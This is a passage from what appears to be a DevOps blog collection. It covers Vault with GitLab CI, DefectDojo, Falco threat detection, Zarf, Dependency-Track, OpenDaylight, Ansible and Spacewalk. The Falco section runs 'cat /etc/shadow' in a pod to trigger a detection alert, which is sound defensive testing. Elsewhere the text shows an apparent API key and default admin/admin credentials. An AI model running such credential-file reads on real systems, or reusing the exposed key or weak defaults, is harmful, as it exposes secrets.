Success! Data written to: auth/jwt/config ``` Create a policy to read secrets ``` vault policy write demo - < * VAULT\_AUTH\_ROLE: demo Create the demo secret ``` vault kv put secret/project/demo username="demo" password="testpass" ====== Secret Path ====== secret/data/project/demo ======= Metadata ======= Key Value --- ----- created_time 2024-12-26T17:12:05.530301004Z custom_metadata deletion_time n/a destroyed false version 1 ``` Example gitlab pipeline ```yaml stages: - build demo-job-with-secrets: variables: VAULT_SERVER_URL: http://vault.192.168.39.66.nip.io:8200 VAULT_AUTH_ROLE: demo stage: build id_tokens: VAULT_ID_TOKEN: aud: http://vault.192.168.39.66.nip.io secrets: STAGING_DB_PASSWORD: vault: project/demo/password@secret file: false script: - echo $STAGING_DB_PASSWORD > test.txt - cat test.txt ``` Output from the job ``` Executing "step_script" stage of the job script 00:01 $ echo $STAGING_DB_PASSWORD > test.txt $ cat test.txt [MASKED] ``` ### Policy template access secrets by gitlab group namespace Get accessor name for jwt in vault, may need to install jq or can regex with grep, awk, etc 
export ACCESSOR_NAME=$(vault auth list -format=json | jq -r '."jwt/".accessor')
auth_jwt_4d1d86e7
Create a policy pointing the accessor name and namespace\_path ``` vault policy write by-project - </*' path path "secret/data/{{identity.entity.aliases.$ACCESSOR_NAME.metadata.namespace_path}}/*" { capabilities = [ "read" ] } EOF ``` Role for the policy, note the claim mappings. ``` vault write auth/jwt/role/by-project - < export DEFECTDOJO_API_KEY=$(curl -s -X POST -H 'content-type: application/json' $DEFECTDOJO_URL/api-token-auth/ -d '{"username": "'$DEFECTDOJO_USERNAME'", "password": "'$DEFECTDOJO_PASSWORD'"}' | jq -r '.token' ) - > export DEFECTDOJO_PRODUCT_ID=$(curl $DEFECTDOJO_URL/products/ \ -H "Authorization: Token $DEFECTDOJO_API_KEY" \ -G --data-urlencode "name_exact=$[[ inputs.defectdojo_product_name ]]" | jq -r .results[].id) - > export DEFECTDOJO_ENGAGEMENT_ID=$(curl $DEFECTDOJO_URL/engagements/ \ -H "Authorization: Token $DEFECTDOJO_API_KEY" \ -G --data-urlencode "name=Pipeline #$CI_PIPELINE_ID" \ --data-urlencode "product=$DEFECTDOJO_PRODUCT_ID" | jq -r .results[].id) - > if [ -z "$DEFECTDOJO_ENGAGEMENT_ID" ]; then export DEFECTDOJO_ENGAGEMENT_ID=$(curl -X POST $DEFECTDOJO_URL/engagements/ \ -H "accept: application/json" \ -H "Content-Type: multipart/form-data" \ -H "Authorization: Token $DEFECTDOJO_API_KEY" \ -F "tags=GITLAB-CI" \ -F "name=Pipeline #$CI_PIPELINE_ID" \ -F "description=$CI_COMMIT_DESCRIPTION" \ -F "version=$CI_COMMIT_REF_NAME" \ -F "first_contacted=$TODAY" \ -F "target_start=$TODAY" \ -F "target_end=$TARGET_END" \ -F "reason=string" \ -F "tracker=$CI_PROJECT_URL" \ -F "threat_model=$DEFECTDOJO_ENGAGEMENT_THREAT_MODEL" \ -F "api_test=$DEFECTDOJO_ENGAGEMENT_THREAT_MODEL" \ -F "pen_test=$DEFECTDOJO_ENGAGEMENT_PEN_TEST" \ -F "check_list=$DEFECTDOJO_ENGAGEMENT_CHECK_LIST" \ -F "status=$DEFECTDOJO_ENGAGEMENT_STATUS" \ -F "engagement_type=CI/CD" \ -F "build_id=$CI_PIPELINE_ID" \ -F "commit_hash=$CI_COMMIT_SHORT_SHA" \ -F "branch_tag=$CI_COMMIT_REF_NAME" \ -F "deduplication_on_engagement=$DEFECTDOJO_ENGAGEMENT_DEDUPLICATION_ON_ENGAGEMENT" \ -F "product=$DEFECTDOJO_PRODUCT_ID" \ -F "source_code_management_uri=$CI_PROJECT_URL" | jq -r .id) fi script: - > curl -X POST $DEFECTDOJO_URL/import-scan/ \ -H "accept: application/json" \ -H "Content-Type: multipart/form-data" \ -H "Authorization: Token $DEFECTDOJO_API_KEY" \ -F "minimum_severity=Info" \ -F "active=true" \ -F "verified=true" \ -F "scan_type=$[[ inputs.defectdojo_scan_type ]]" \ -F "close_old_findings=false" \ -F "push_to_jira=false" \ -F "file=@$[[ inputs.defectdojo_file ]]" \ -F "product_name=$[[ inputs.defectdojo_product_name ]]" \ -F "scan_date=$TODAY" \ -F "engagement=$DEFECTDOJO_ENGAGEMENT_ID" \ -F "engagement_name=Pipeline #$CI_PIPELINE_ID" ``` ## Usage Usage is simple, just import the template from local repository or a remote with the following inputs at the end of your project .gitlab-ci.yml ```yaml sast-bandit: stage: test image: python:3.8-alpine before_script: - pip install -U bandit script: - bandit -r . -f json --output gl-sast-report.json artifacts: reports: sast: gl-sast-report.json paths: [gl-sast-report.json] when: always include: - local: defectdojo.yml inputs: defectdojo_product_name: "Django Vulnerable Server" defectdojo_scan_type: "Bandit Scan" defectdojo_file: "gl-sast-report.json" ``` All these inputs are case sensitive,so make sure the product name exists in DefectDojo and the scan type is one of the supported formats. For multiple scans upload include the template several times modifying the inputs. The template will include all the scans into the same engagement id ```yaml include: - local: defectdojo.yml inputs: defectdojo_product_name: "Django Vulnerable Server" defectdojo_scan_type: "Bandit Scan" defectdojo_file: "gl-sast-report.json" - local: defectdojo.yml inputs: defectdojo_product_name: "Django Vulnerable Server" defectdojo_scan_type: "pip-audit Scan" defectdojo_file: "gl-dependency-scanning-report.json" ``` # Falco real time runtime thread detection on k8s Installation and usage of falco inside kubernetes ## Installation Install falco helm repository ``` helm repo add falcosecurity https://falcosecurity.github.io/charts helm repo update ``` Deploy falco using helm. In this demo we also enabled the graphical dashboard UI ``` helm upgrade --install \ --namespace falco \ --create-namespace \ falco falcosecurity/falco \ --set falcosidekick.enabled=true \ --set falcosidekick.webui.enabled=true ``` Wait for the pods to be ready Create a demo deployment ``` kubectl create deployment nginx --image=nginx ``` Once pods are ready execute a call in /etc/shadow file which will trigger a warning in falco ``` kubectl exec -it $(kubectl get pods --selector=app=nginx -o name) -- cat /etc/shadow ``` Verify that the warning has been triggered ``` kubectl logs -l app.kubernetes.io/name=falco -n falco -c falco | egrep -i warning {"hostname":"minikube","output":"15:41:04.268296715: Warning Sensitive file opened for reading by non-trusted program (file=/etc/shadow gparent=systemd ggparent= gggparent= evt_type=openat user=root user_uid=0 user_loginuid=-1 process=cat proc_exepath=/usr/bin/cat parent=containerd-shim command=cat /etc/shadow terminal=34816 container_id=ff95ee645d8a container_image=nginx container_image_tag=latest container_name=k8s_nginx_nginx-676b6c5bbc-m86bn_default_fda2eefb-4c21-4a46-ac55-bcdbfc58936b_0 k8s_ns= k8s_pod_name=)","output_fields":{"container.id":"ff95ee645d8a","container.image.repository":"nginx","container.image.tag":"latest","container.name":"k8s_nginx_nginx-676b6c5bbc-m86bn_default_fda2eefb-4c21-4a46-ac55-bcdbfc58936b_0","evt.time":1735573264268296715,"evt.type":"openat","fd.name":"/etc/shadow","k8s.ns.name":null,"k8s.pod.name":null,"proc.aname[2]":"systemd","proc.aname[3]":null,"proc.aname[4]":null,"proc.cmdline":"cat /etc/shadow","proc.exepath":"/usr/bin/cat","proc.name":"cat","proc.pname":"containerd-shim","proc.tty":34816,"user.loginuid":-1,"user.name":"root","user.uid":0},"priority":"Warning","rule":"Read sensitive file untrusted","source":"syscall","tags":["T1555","container","filesystem","host","maturity_stable","mitre_credential_access"],"time":"2024-12-30T15:41:04.268296715Z"} ``` ## Ingress To access the web UI you can port-forward the service or create an ingress. We will create an ingress. ```yaml apiVersion: networking.k8s.io/v1 kind: Ingress metadata: name: falco-ingress spec: rules: - host: "falco.192.168.39.115.nip.io" http: paths: - path: / pathType: Prefix backend: service: name: falco-falcosidekick-ui port: number: 2802 ``` Create the ingress in the falco namespace ``` kubectl apply -f falco-ingress.yaml -n falco ``` In my example you can access the dashboard using Username admin and password admin by default. ## Custom rules Create a file with your custom rules `falco_custom_rules_cm.yaml` Here is an example to trigger alert when a container executes id command Custom rules documentation ```yaml customRules: custom-rules.yaml: |- - rule: id_usage desc: id usage condition: > evt.type = execve and evt.dir = < and container.id != host and proc.name = id output: > id command is used (user=%user.name container_id=%container.id container_name=%container.name shell=%proc.name parent=%proc.pname cmdline=%proc.cmdline) priority: CRITICAL ``` Update the helm with custom rules 
helm upgrade --namespace falco falco falcosecurity/falco \
  --namespace falco \
  --create-namespace \
  --set tty=true \
  --set falcosidekick.enabled=true \
  --set falcosidekick.webui.enabled=true \
  -f falco_custom_rules_cm.yaml
Trigger warning ``` kubectl exec -it $(kubectl get pods --selector=app=nginx -o name) -- id uid=0(root) gid=0(root) groups=0(root) ``` Check falco logs to verify alert is triggered ``` kubectl logs -l app.kubernetes.io/name=falco -n falco -c falco -f | egrep -i nginx 17:11:28.144420277: Critical id command is used (user=root container_id=4720698b7671 container_name=k8s_nginx_nginx-676b6c5bbc-2xrkd_default_deae5c43-68c3-49c5-b6fc-15ed60125834_0 shell=id parent=runc cmdline=id) container_id=4720698b7671 container_image=nginx container_image_tag=latest container_name=k8s_nginx_nginx-676b6c5bbc-2xrkd_default_deae5c43-68c3-49c5-b6fc-15ed60125834_0 k8s_ns= k8s_pod_name= ``` # Zarf - Airgap deployment in kubernetes > Zarf is a free and open-source tool that enables ***declarative creation & distribution of software into air-gapped/constrained/standalone environments***. > > Zarf provides a way to package and deploy software in a way that is **repeatable**, **secure**, and **reliable**. Install Zarf CLI ```sh ZARF_VERSION=$(curl -sIX HEAD https://github.com/zarf-dev/zarf/releases/latest | grep -i ^location: | grep -Eo 'v[0-9]+.[0-9]+.[0-9]+') curl -sL "https://github.com/zarf-dev/zarf/releases/download/${ZARF_VERSION}/zarf_${ZARF_VERSION}_Linux_amd64" -o zarf chmod +x zarf ``` Download init package When init this will deploy a registry and a couple more pods into the destination cluster ```sh zarf tools download-init zarf init --confirm ``` In this guide we will deploy falco for real time threat detection in kuberentes, config files are an example. Adapt to your needs. Create a file `zarf.yaml` with the following data, images can be found with a command later on this guide ```yaml kind: ZarfPackageConfig metadata: name: falco version: 4.20.1 description: | "A Zarf Package that deploys Falco Security for real time runtime threat detection" components: - name: falco description: | "Deploys the falcosecurity falco chart into the cluster" required: true charts: - name: falco url: https://falcosecurity.github.io/charts version: 4.20.1 namespace: falco valuesFiles: - values.yaml images: - docker.io/falcosecurity/falco-driver-loader:0.40.0 - docker.io/falcosecurity/falco:0.40.0-debian - docker.io/falcosecurity/falcoctl:0.11.0 # Cosign artifacts for images - falco - falco - index.docker.io/falcosecurity/falco-driver-loader:sha256-8bb7b51adf6598c5d9c90d2f3e55724212e6282afbd26f0ba428db9c0c417fbf.sig - index.docker.io/falcosecurity/falco:sha256-bfa486ca137359e90401f6121e52065e99bff44a949c02229fd0df467386fcaa.sig - index.docker.io/falcosecurity/falcoctl:sha256-4b590b9c49a881a55f6c3121c235057951418d726a9c43c4e1dbe3a5fcf358d3.sig - index.docker.io/falcosecurity/falcoctl:sha256-4b590b9c49a881a55f6c3121c235057951418d726a9c43c4e1dbe3a5fcf358d3.att ``` This command will output the list of images to include into `zarf.yaml` ```sh zarf dev find-images ``` Generate a `values.yml` with the configuration you need, in this example I'm adding a custom rule for testing ```yaml customRules: custom-rules.yaml: |- - rule: id_usage desc: id usage condition: > evt.type = execve and evt.dir = < and container.id != host and proc.name = id output: > id command is used (user=%user.name container_id=%container.id container_name=%container.name shell=%proc.name parent=%proc.pname cmdline=%proc.cmdline) priority: CRITICAL ``` Validate there is no errors in the config files. ```sh zarf dev lint . ``` Generate a tar file with the images and config ```sh zarf package create . --confirm ``` Deploy the package into the cluster, this will push images into local registry and invoke helm to deploy the resources in the chart. ```sh zarf package deploy zarf-package-falco-amd64-4.20.1.tar.zst --confirm ``` # OWASP Dependency-track Installation an example usages Add dependency-track helm repository ``` helm repo add dependency-track https://dependencytrack.github.io/helm-charts ``` Deploy depencency-track helm chart, hostname is my minikube instance. Use the appropiate hostname for your environment ``` helm upgrade --install dtrack dependency-track/dependency-track \ --set ingress.enabled=true \ --set ingress.hostname=dtrack.$(minikube ip).nip.io ``` Browse to your ingress `kubectl get ingress -o yaml | awk '/host/ {print$3}'` Default username and password are admin/admin, you must change them before do anything Create a new team at \/admin/accessManagement/teams On the new team generate an API KEY Add required permissions, at least BOM upload Download an example git repository ``` git clone https://github.com/xNaaro/vulnerable_python.git cd vulnerable_python ``` Install syft to create an example SBOM of the above repository ``` curl -sSfL https://raw.githubusercontent.com/anchore/syft/main/install.sh | sh -s -- -b /tmp/ ``` Create an SBOM of the example repository ``` /tmp/syft . -o cyclonedx-json > cyclonedx.json ✔ Indexed file system . ✔ Cataloged contents cdb4ee2aea69cc6a83331bbe96dc2caa9a299d21329efb0336fc02a82 ├── ✔ Packages [1 packages] ├── ✔ File digests [1 files] ├── ✔ File metadata [1 locations] └── ✔ Executables [0 executables] [0000] WARN no explicit name and version provided for directory source, deriving artifact ID ``` Upload SBOM to dependency-check ``` curl -X "POST" "http://dtrack.192.168.39.47.nip.io/api/v1/bom" \ -H "Content-Type: multipart/form-data" \ -H "X-API-Key: odt_Wrz6kL1YBcw3tyrCDT7oJvHcYrFaPACV" \ -F "autoCreate=true" \ -F "projectName=vulnerablepython" \ -F 'bom=@./cyclonedx.json' ``` Now in your frontend server should have a project called vulnerablepython with flask as vulnerable package First installation of dependency-track may take for a while to update vulnerabilities lists # OpenDaylight in a Docker This is a quick guide to start a Docker container with OpenDaylight running on it. Clone OpenDaylight integration repository ``` [egonzalez@localhost]$ git clone https://github.com/opendaylight/integration.git ``` Move to the directory where CentOS Dockerfile is saved. ``` [egonzalez@localhost]$ cd integration/packaging/docker/centos/ ``` \| Build the new image, you can call it as your DockerHub name(in my case egonzalez90), so you can push it there later. | If you don\\'t want to create a new image, you can use my image. This step will download and start the new container: `docker run -d egonzalez90/opendaylight` ``` [egonzalez@localhost centos]$ docker build -t egonzalez90/opendaylight . Sending build context to Docker daemon 7.68 kB Step 1 : FROM centos:7 Trying to pull repository docker.io/library/centos ... 7: Pulling from library/centos 1544084fad81: Pull complete df0fc3863fbc: Pull complete a3d54b467fad: Pull complete a65193109361: Pull complete Digest: sha256:a9237ff42b09cc6f610bab60a36df913ef326178a92f3b61631331867178f982 Status: Downloaded newer image for docker.io/centos:7 ---> a65193109361 Step 2 : MAINTAINER OpenDaylight Project ---> Running in d3f98f949b11 ---> 81a1bad2e3a7 Removing intermediate container d3f98f949b11 Step 3 : ADD opendaylight-3-candidate.repo /etc/yum.repos.d/ ---> 069a9c60878e Removing intermediate container b9afb18311f3 Step 4 : RUN yum update -y && yum install -y opendaylight ---> Running in 559b3970235d [[[ PACKAGE INSTALLATION STUFF ]]] Complete! ---> 4003e5874b03 Removing intermediate container 559b3970235d Step 5 : EXPOSE 162 179 1088 1790 1830 2400 2550 2551 2552 4189 4342 5005 5666 6633 6640 6653 7800 8000 8080 8101 8181 8383 12001 ---> Running in 7defebe8b7e2 ---> 9668a559bdac Removing intermediate container 7defebe8b7e2 Step 6 : WORKDIR /opt/opendaylight ---> Running in 9298a116dd14 ---> 5bf42f56e282 Removing intermediate container 9298a116dd14 Step 7 : CMD ./bin/karaf server ---> Running in e0a218941b15 ---> c1a0db72dbbc Removing intermediate container e0a218941b15 Successfully built c1a0db72dbbc ``` Once the image is built or downloaded, ensure you have it locally ``` [egonzalez@localhost]$ docker images | grep opendaylight egonzalez90/opendaylight latest c1a0db72dbbc About a minute ago 740.6 MB ``` Start a new container in a detached mode. ``` [egonzalez@localhost]$ docker run -d egonzalez90/opendaylight ae08898ba6adc30df012513dc6eac54943d9de8c8059e73ade185757fe684c6a Usage of loopback devices is strongly discouraged for production use. Either use `--storage-opt dm.thinpooldev` or use `--storage-opt dm.no_warn_on_loop_devices=true` to suppress this warning. ``` Check if the container is running with: ``` [egonzalez@localhost]$ docker ps | grep opendaylight ae08898ba6ad egonzalez90/opendaylight "./bin/karaf server" 14 seconds ago Up 11 seconds 162/tcp, 179/tcp, 1088/tcp, 1790/tcp, 1830/tcp, 2400/tcp, 2550-2552/tcp, 4189/tcp, 4342/tcp, 5005/tcp, 5666/tcp, 6633/tcp, 6640/tcp, 6653/tcp, 7800/tcp, 8000/tcp, 8080/tcp, 8101/tcp, 8181/tcp, 8383/tcp, 12001/tcp awesome_khorana ``` Now, check container information with docker inspect, we search for the IP address ``` [egonzalez@localhost]$ docker inspect ae08898ba6ad | grep -i IPAddress "SecondaryIPAddresses": null, "IPAddress": "172.17.0.3", "IPAddress": "172.17.0.3", ``` \| Now you know the container IP address, to login into karaf, first we need to download and install karaf client tool | Go to the following URL to download the package: Extract the files and move to the new directory ``` [egonzalez@localhost Downloads]$ tar -xzvf apache-karaf-4.0.5.tar.gz [egonzalez@localhost Downloads]$ cd apache-karaf-4.0.5/ ``` Execute the client authenticating with the container IP ``` [egonzalez@localhost apache-karaf-4.0.5]$ ./bin/client -a 8101 -h 172.17.0.3 -u karaf -v client: JAVA_HOME not set; results may vary 13 [main] INFO org.apache.sshd.common.util.SecurityUtils - BouncyCastle not registered, using the default JCE provider Logging in as karaf 194 [sshd-SshClient[12bb4df8]-nio2-thread-1] INFO org.apache.sshd.client.session.ClientSessionImpl - Client session created 203 [main] INFO org.apache.sshd.client.session.ClientSessionImpl - Start flagging packets as pending until key exchange is done 204 [sshd-SshClient[12bb4df8]-nio2-thread-1] INFO org.apache.sshd.client.session.ClientSessionImpl - Server version string: SSH-2.0-SSHD-CORE-0.12.0 321 [sshd-SshClient[12bb4df8]-nio2-thread-3] WARN org.apache.sshd.client.keyverifier.AcceptAllServerKeyVerifier - Server at /172.17.0.3:8101 presented unverified DSA key: 09:a0:45:95:7a:dd:94:7c:6b:c3:f9:c0:23:88:1d:b0 324 [sshd-SshClient[12bb4df8]-nio2-thread-3] INFO org.apache.sshd.client.session.ClientSessionImpl - Dequeing pending packets 327 [sshd-SshClient[12bb4df8]-nio2-thread-4] INFO org.apache.sshd.client.session.ClientUserAuthServiceNew - Received SSH_MSG_USERAUTH_FAILURE 338 [sshd-SshClient[12bb4df8]-nio2-thread-5] INFO org.apache.sshd.client.session.ClientUserAuthServiceNew - Received SSH_MSG_USERAUTH_FAILURE 341 [sshd-SshClient[12bb4df8]-nio2-thread-6] INFO org.apache.sshd.client.auth.UserAuthKeyboardInteractive - Received Password authentication en-US 344 [sshd-SshClient[12bb4df8]-nio2-thread-7] INFO org.apache.sshd.client.session.ClientUserAuthServiceNew - Received SSH_MSG_USERAUTH_SUCCESS ________ ________ .__ .__ .__ __ \_____ \ ______ ____ ____ \______ \ _____ ___.__.| | |__| ____ | |___/ |_ / | \\____ \_/ __ \ / \ | | \\__ \< | || | | |/ ___\| | \ __\ / | \ |_> > ___/| | \| ` \/ __ \\___ || |_| / /_/ > Y \ | \_______ / __/ \___ >___| /_______ (____ / ____||____/__\___ /|___| /__| \/|__| \/ \/ \/ \/\/ /_____/ \/ Hit '' for a list of available commands and '[cmd] --help' for help on a specific command. Hit '' or type 'system:shutdown' or 'logout' to shutdown OpenDaylight. ``` Once karaf login succeed, install a few features like DLUX ``` opendaylight-user@root>feature:install odl-restconf odl-l2switch-switch odl-mdsal-apidocs odl-dlux-core ``` Now you can login at the container IP with admin as username and password. ``` http://172.17.0.3:8181/index.html ``` Best regards # To conditional or to skip, that's the Ansible question Have you ever think about if an Ansible task should be skipped with a conditional or without (hidden skip)?. | Well, this post will analyse both methods. Let's use a example to create the same result and analyse the both methods: In OpenStack Kolla we found that sometimes operators need to customise policy.json files. That\\'s fine, but the problem is that policy.json files are installed with the services by default and we don\\'t need/want to maintain policy.json files in our repository because for sure will cause bugs from outdated policy files in the future. What\\'s the proposed solution to this? Allow operators use their own policy files only when their files exists in a custom configuration folder. If custom files are not present, default policy.json files are already present as part of the software installation. ( Actually this change is under review ) ### To Conditional method Code snippet: ``` - name: Check if file exists stat: path: "/tmp/custom_file.json" register: check_custom_file_exist - name: Copy custom policy when exist template: src: "/tmp/custom_file.json" dest: "/tmp/destination_file.json" when: "{{ check_custom_file_exist.stat.exists }}" ``` The first task checks if the file is present and register the stat result. The second task, copy the file only when the registered result of the previous task is True. (exists == True) Outputs the following when the file is not present: ``` PLAY [localhost] *************************************************************** TASK [Check if file exists] **************************************************** ok: [localhost] TASK [Copy custom policy when exist] ******************************************* skipping: [localhost] PLAY RECAP ********************************************************************* localhost : ok=1 changed=0 unreachable=0 failed=0 ``` We can see the copy file task is skipped with a skipping message. ### To Skip method Code snippet: ``` - name: Copy custom policy when exist template: src: "{{ item }}" dest: "/tmp/destination_file.json" with_first_found: - files: - custom_file.json skip: True ``` This playbook contains a single task, this task will use the first found file in a list of files. If no file is present will skip the task. Output from this execution: ``` PLAY [localhost] *************************************************************** TASK [Copy custom policy when exist] ******************************************* PLAY RECAP ********************************************************************* localhost : ok=0 changed=0 unreachable=0 failed=0 ``` We can see that no task is executed when custom files are not present, no output from the task (hidden skip). ### Analysis and own opinion Both methods do the same, both copy custom files when are present and both skip copy task when are not present. What are the differences between both methods? To\_skip method is simpler to read and unified in a single task, to\_conditional is created within two tasks. To\_conditional method takes longer to be executed as it has to check the existence of a file and then evaluate a conditional. You may think that to\_skip method is better than to\_conditional method, that\\'s right in terms of code syntax and execution times. But... As both, operator and infrastructure developer, I always use to\_conditional method because when I\\'m deploying something new, I want to know what is executed and what not. In to\_skip method you don\\'t know because there is no output provided from the task (not really true) but in to\_conditional method it clearly says Skipping. Execution times are not a problem in most use cases, as is not commonly used this kind of tasks in CM systems, only a few tasks will need this type of logic. Regards, Eduardo Gonzalez # Spacewalk Red Hat Satellite v5 in a Docker container PoC Spacewalk was the upstream project to provide a Linux systems management layer on which Red Hat Satellite was based, was based at least until RH Satellite version 5. Newer versions are not anymore based on Spacewalk, instead Satellite is a federation of several upstream open source projects, including Katello, Foreman, Pulp, and Candlepin. Some weeks ago, a friend asked me if I knew a Docker container image for Satellite. | I have not found any image. What I found was some Spacewalk images, but sadly none of them worked for me. | I decided to create an image for this purpose. While developing the image, I found serious troubles to make it run with systemd (I\\'m a fan of systemd, but not inside containers yet). | The result was a semi functional working image. I said semi functional because some Spacewalk features are not working (probably an issue with systemd again). | The main problem was that spacewalk-setup script starts and uses systemd to configure the database and the other needed services, that\\'s OK in a VM but not in a container. | So i needed to hack into postgres setup and start the services with the typical `command --config-file file.conf` executed from supervisord as Docker entrypoint. Currently there is an issue with `osa-dispatcher`, on which I can\\'t find a fix to make it run. This image is primarily created just for test Spacewalk interface and be more comfortable with it aka testing/development purposes, or just to have fun hacking with Docker containers. Now, I\\'m going to make a short description of what the Dockerfile makes and then start the container. | Have fun. I used centos as image base for this PoC ``` FROM centos:7 ``` Typical Maintainer line ``` MAINTAINER Eduardo Gonzalez Gutierrez ``` Add jpackage repo which provides Java packages for Linux ``` COPY jpackage-generic.repo /etc/yum.repos.d/jpackage-generic.repo ``` Install EPEL and Spacewalk repositories, after install, clean all stored cache to minimize image size ``` RUN yum install -y http://yum.spacewalkproject.org/2.5/RHEL/7/x86_64/spacewalk-repo-2.5-3.el7.noarch.rpm \ epel-release && \ yum clean all ``` Import Keys to allow installation from these repositories ``` RUN rpm --import http://www.jpackage.org/jpackage.asc && \ rpm --import https://dl.fedoraproject.org/pub/epel/RPM-GPG-KEY-EPEL-7 && \ rpm --import http://yum.spacewalkproject.org/RPM-GPG-KEY-spacewalk-2015 && \ yum clean all ``` Install spacewalk and supervisord packages ``` RUN yum -y install \ spacewalk-setup-postgresql \ spacewalk-postgresql \ supervisor \ yum clean all ``` Copy the example file used to sync spacewalk database in a later step ``` COPY answerfile.txt /tmp/answerfile.txt ``` Open necessary ports ``` EXPOSE 80 443 5222 68 69 ``` Change to postgres user ``` USER postgres ``` Initialize the database ``` RUN /usr/bin/pg_ctl initdb -D /var/lib/pgsql/data/ ``` Create spacewalk database, user, role and create pltclu language ``` RUN /usr/bin/pg_ctl start -D /var/lib/pgsql/data/ -w -t 300 && \ psql -c 'CREATE DATABASE spaceschema' && \ psql -c "CREATE USER spaceuser WITH PASSWORD 'spacepw'" && \ psql -c 'ALTER ROLE spaceuser SUPERUSER' && \ createlang pltclu spaceschema ``` Change to root user ``` USER root ``` Start the database and execute spacewalk configuration script ``` RUN su -c "/usr/bin/pg_ctl start -D /var/lib/pgsql/data/ -w -t 300" postgres && \ su -c "spacewalk-setup --answer-file=/tmp/answerfile.txt --skip-db-diskspace-check --skip-db-install" root ; exit 0 ``` Copy supervisord configuration ``` ADD supervisord.conf /etc/supervisord.d/supervisord.conf ``` Use supervisord command to start all services at container launch time ``` ENTRYPOINT supervisord -c /etc/supervisord.d/supervisord.conf ``` You can check or download the source code at GitHub I uploaded the image to DockerHub, which is auto-build from my GitHub repository, you can find it with the following command. ``` [egonzalez@localhost ~]$ docker search spacewalk INDEX NAME DESCRIPTION STARS OFFICIAL AUTOMATED docker.io docker.io/ruo91/spacewalk Spacewalk is an open source Linux systems ... 3 [OK] docker.io docker.io/jamesnetherton/spacewalk Spacewalk running under Docker 1 docker.io docker.io/coffmant/spacewalk-docker Spacewalk 0 [OK] docker.io docker.io/csabakollar/spacewalk Spacewalk 2.4 in a CentOS6 container 0 docker.io docker.io/egonzalez90/spacewalk Spacewalk docker image 0 [OK] docker.io docker.io/jdostal/spacewalk-clients Repository containing spacewalk-clients 0 docker.io docker.io/jhutar/spacewalk-client 0 docker.io docker.io/norus/spacewalk-reposync 0 docker.io docker.io/pajinek/spacewalk-client 0 [OK] docker.io docker.io/perfectweb/spacewalk spacewalk 0 [OK] docker.io docker.io/researchiteng/docker-spacewalk spacewalk is the open source version of Re... 0 [OK] docker.io docker.io/varhoo/spacewalk-proxy 0 [OK] ``` To start the container use the following command. If you don\\'t have the image locally, it will download the image from DockerHub ``` [egonzalez@localhost ~]$ docker run -d --privileged=True egonzalez90/spacewalk Unable to find image 'egonzalez90/spacewalk:latest' locally Trying to pull repository docker.io/egonzalez90/spacewalk ... latest: Pulling from docker.io/egonzalez90/spacewalk a3ed95caeb02: Already exists da71393503ec: Already exists 519093688e2c: Pull complete 97bbffaa9fc9: Pull complete 63bfb115f62d: Pull complete 929bbb68aff9: Pull complete 532bc4af8e1a: Pull complete 3eb667dda9ee: Pull complete 275894897aa4: Pull complete 93bcddf9cedb: Pull complete 266c3b70754f: Pull complete Digest: sha256:a4dd98548f9dbb405fb4c6bb4a2a07b83d5f2bf730f29f71913b72876b1a61ab Status: Downloaded newer image for docker.io/egonzalez90/spacewalk:latest ded4a8b7eb1ee61fecc8ddc2eb1b092917a361bc36f7f752b32d76e79501d70a ``` Now you have the container running, check if all the ports are properly exposed ``` [egonzalez@localhost ~]$ docker ps --latest --format 'table {{.ID}}\t{{.Image}}\t{{.Ports}}' CONTAINER ID IMAGE PORTS ded4a8b7eb1e egonzalez90/spacewalk 68-69/tcp, 80/tcp, 443/tcp, 5222/tcp ``` Get the container IP address in order to enter from a Web Browser ``` [egonzalez@localhost ~]$ docker inspect ded4a8b7eb1e | egrep IPAddress "SecondaryIPAddresses": null, "IPAddress": "172.17.0.3", "IPAddress": "172.17.0.3", ``` \| Open A browser and go to the container IP address, if you use HTTP, by default it will redirect you to HTTPS. | The container uses an auto-signed SSL certificate, you have to add an exception in the Browser you use to allow connections to Spacewalk. | Once in the Welcome page, create an Organization. \| Now you are in Spacewalk and can play/test some features. \| There is an issue I was not able to fix, so osa-dispatcher and some other features will not work with this image. | If someone can give me an input to fix the issue it will appreciated. ``` [egonzalez@localhost ~]$ docker logs ded4a8b7eb1e | egrep FATAL 2016-07-12 18:13:32,220 INFO gave up: osa-dispatcher entered FATAL state, too many start retries too quickly ``` Thanks for your time and hopes this image at least serves you to learn and play with the interface. Regards, Eduardo Gonzalez # Ansible INI file module Simplifying your DevOps life If you don't read docs, one day you'll realize that your an idiot as i am|was. A few days back, I've realized that i was using wrong all Ansible modules power since i started with it. What happened? Most of the time i use Ansible is related to OpenStack configuration jobs. Almost, all OpenStack projects use INI formatted files for their configuration files. When i started using Ansible, I searched on Google how to configure any kind of file with Ansible modules. Almost all blogs/forums that i saw, talked about lineinfile module. So i used these guidelines on my next few months, now i realize that i was using in the wrong way Ansible modules. Ansible have a module called ini\_file, you change values inside INI formatted files in a easy way , you don't need to use complicated regular expressions to change a value in a file. Here you have ini\_file module usage docs: We are going to change Neutron user password in his dump config file, so we create a simple task on which we can see how ini\_file module can be used. ``` - hosts: localhost tasks: - name: Change neutron user password ini_file: dest: ~/neutron.conf section: keystone_authtoken option: password value: 12345 ``` Once the task has been applied, we can see how the values are applied in a proper ini style. ``` cat neutron.conf [keystone_authtoken] password = 12345 ``` How many times you need to make a change in an INI formatted configuration file with Ansible and used lineinfile module? If the answer is many times, it's OK, you are a dump like me. Regards, Eduardo Gonzalez # Index This section contains all OpenStack related posts {% content-ref url="/pages/-M1SNYNaJONL95aTtcfC" %} [OpenStack tacker and service function chaining sfc with kolla](/openstack/index/openstack-tacker-and-service-function-chaining-sfc-with-kolla) {% endcontent-ref %} {% content-ref url="/pages/-M1SMx16CStayzpSFwgZ" %} [Deploy OpenStack designate with kolla-ansible](/openstack/index/deploy-openstack-designate-with-kolla-ansible) {% endcontent-ref %} {% content-ref url="/pages/-M1SM-kKK8EUzH0ySQ-J" %} [OpenStack keystone zero downtime upgrade process newton to ocata](/openstack/index/openstack-keystone-zero-downtime-upgrade-process-newton-to-ocata) {% endcontent-ref %} {% content-ref url="/pages/-M1SJhLjwebdyO6iujYM" %} [OpenStack kolla deployment](/openstack/index/openstack-kolla-deployment) {% endcontent-ref %} {% content-ref url="/pages/-M1SK\_\_o7y0F3s2hPTIM" %} [Midonet integration with OpenStack Mitaka](/openstack/index/midonet-integration-with-openstack-mitaka) {% endcontent-ref %} {% content-ref url="/pages/-M1SJI3lMVNETK\_DH\_mR" %} [Magnum in RDO OpenStack Liberty](/openstack/index/magnum-in-rdo-openstack-liberty) {% endcontent-ref %} {% content-ref url="/pages/-M1SILbQ1GGrM7BThNgv" %} [Nova VNC flows under the 